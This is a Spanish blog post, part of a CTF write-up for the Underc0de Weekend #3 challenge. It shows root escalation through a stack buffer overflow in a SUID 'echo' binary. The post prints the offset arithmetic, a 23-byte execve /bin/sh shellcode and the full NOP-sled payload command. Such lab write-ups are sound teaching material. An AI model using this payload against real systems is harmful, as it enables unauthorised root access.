Solucionario de Underc0de Weekend #3 (Parte 3)

8:55 1 Comments A+ a-

Ahora manos a la obra para el ultimo paso!!! A Derootear al enemigo! (jajajja mal chiste!).


Lo primero que notamos es que cada X tiempo nos llega un molesto mensaje y al revisarlo vemos que el sysadmin fue cuidadoso y que también envía emails de nuestros movimientos, por lo que si fuera una intrucion ilegal deberíamos borrar varias huellas!


Vemos como llegan correos a underdist con lo que ejecuta cronping.py


Vemos que el kernel está actualizado así que descartamos todo tipo de Local Root Exploit conocidos, empezamos a analizar con unix-privesc-check si tenemos privilegios de escritura sobre algún archivo que corra como root... y nada.

No doy detalles sobre como se usa unix-privessc-check porque mi amigo [Q3rv0] ya hizo un muy buen tuto sobre fingerprinting con unix-prives-check
Link para los interesados: (Repito Google no muerde!!!)
Entonces nos ponemos a contar flores un rato relajamos la mente y nos ponemos a pensar de que forma podemos rootear este genial reto!, la única opción que me queda por probar es encontrar algún binario SUID que pueda utilizar para mi cometido!.
Nos ponemos a buscar binarios SUID con el siguiente comando:

find / -perm -4000 -type f 2>/dev/null

Dejamos que termine y obtenemos los siguientes ficheros SUID.


En la lista noto uno muy extraño... /home/underdist/.bin/echo
Todo este tiempo buscando y se encontraba bajo mi nariz!. (Bien pensado [Q3rv0]).

No perdemos tiempo y nos dirigimos al sitio y podemos ver que simplemente hace un echo en pantalla lo que enviamos como parámetro.


Pero también notamos algo curioso, si lo ejecutamos sin argumentos nos envia el mensaje, "Violación de Segmento".


Y esto me grita a kilómetros: HEEEEY SOY UN BUFFEROVERFLOW!!!! EXPLOTAME!!!!

Así que le hago caso a mi instinto y me pongo a mirarlo con gdb, un lindo debugger de consola para inux!

Comenzamos a probar:


Y como podemos ver, desbordamos la pila y el eip se sobreescribio con los Bytes \x41 ('A') enviados, sabemos que por encima de 400 bytes logramos sobrescribir el eip, pero ahora debemos encontrar el largo justo para explotar el BuffOver de forma exitosa, empezamos a probar valores.


Vemos que con 306 bytes logramos sobre escribir los 2 primeros bytes del eip (Si los 2 primeros por que no nos olvidemos que la arquitectura de esta maquina según uname -r es i486 lo que significa que trabaja con little endian)
Llegamos a 2 conclusiones primero que el largo del buffer es 308 y segundo que el ASLR debe estar desactivado (Sino esto no seria posible y deberíamos bypassearlo pero según parece no es necesario)
Ahora con un poco de matemática llegamos a la siguiente conclucion... para lograr explotar este BuffOver de forma exitosa, primero debemos preguntarnos cuantos NOP necesitamos? Y que shellcode utilizaremos? (Obviamente sabemos que tenemos que dejar 4 bytes para realizar el salto al eip).

Yo en este caso utilicé esta shellcode de 23 bytes:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Entonces si el buffer es de 308 bytes – 23 bytes (shellcode) – 4 bytes (eip) = 281 bytes.

Esos 281 bytes son los que deben estar llenos de NOP armamos nuestro payload, y lo probamos en gdb.

Payload:
run $(python -c 'print
"\x90"*281+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\xa0\xf8\xff\xbf"')

Probamos con gdb a ver que pasa...


Vemos que el BufferOverflow se ejecuta de forma correcta pero no nos devuelve shell root, entonces probamos por fuera de gdb. (A nuestro Payload ahora deberemos sacarle “run” ya que run es un comando de gdb).

./echo $(python -c 'print
"\x90"*281+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb
0\x0b\xcd\x80"+"\xa0\xf8\xff\xbf"')

y esperamos la shell:


BOOOOM! Lo hemos logrado!! somos root! Ahora nos vamos a /root/ y hacemos un ls.


Notamos 2 archivos, entre ellos nuestro preciado flag!


Curiosidades


Después del reto quise sacarme algunas dudas que me habían quedado:

El contenido de r.sh:
(Esto desactiva el ASLR (por esto pudimos explotar el BuffOverflow sin Bypass)

El contenido de v.php:

Por esto no tuvimos que usar el path transversal, el php forzaba la inclusión de archivos en /ascii/letras/

Los permisos de /var/www:

(Realmente no podíamos escribir en ninguna carpeta de /var/www por eso nuestro fopen en php no funcionaba)

Autor del Reto: [Q3rv0]
Autor del Solucionario: HD_Breaker.

1 comentarios:

Write comentarios
Anónimo
AUTHOR
7 de diciembre de 2014, 1:31 delete

Felicidades.

Reply
avatar